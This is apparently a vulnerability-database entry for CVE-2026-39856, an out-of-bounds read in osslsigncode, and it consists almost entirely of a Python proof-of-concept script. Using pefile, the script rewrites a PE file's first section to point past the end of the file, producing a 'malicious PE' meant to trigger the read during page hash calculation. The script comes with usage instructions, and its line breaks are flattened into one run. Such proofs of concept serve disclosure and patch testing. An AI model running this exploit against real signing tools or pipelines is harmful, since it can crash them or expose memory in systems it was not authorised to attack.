CVE-2026-39856 osslsigncode越界读取漏洞

import pefile import sys # Usage: python poc.py input.exe output.exe def create_malicious_pe(input_path, output_path): try: # Load the original PE file pe = pefile.PE(input_path) # Check if there are sections if not pe.sections: print("No sections found in the PE file.") return # Modify the first section's PointerToRawData to point beyond the file size # This triggers the out-of-bounds read in osslsigncode during page hash calculation original_raw_size = pe.sections[0].SizeOfRawData file_size = pe.OPTIONAL_HEADER.SizeOfImage # Set PointerToRawData to a value outside the file (e.g., file_size + 0x1000) pe.sections[0].PointerToRawData = file_size + 0x1000 pe.sections[0].SizeOfRawData = 0x1000 # Write the modified PE file pe.write(output_path) print(f"Malicious PE file created at: {output_path}") print(f"Modified Section: {pe.sections[0].Name.decode()}") print(f"New PointerToRawData: {hex(pe.sections[0].PointerToRawData)}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <input_exe> <output_exe>") else: create_malicious_pe(sys.argv[1], sys.argv[2])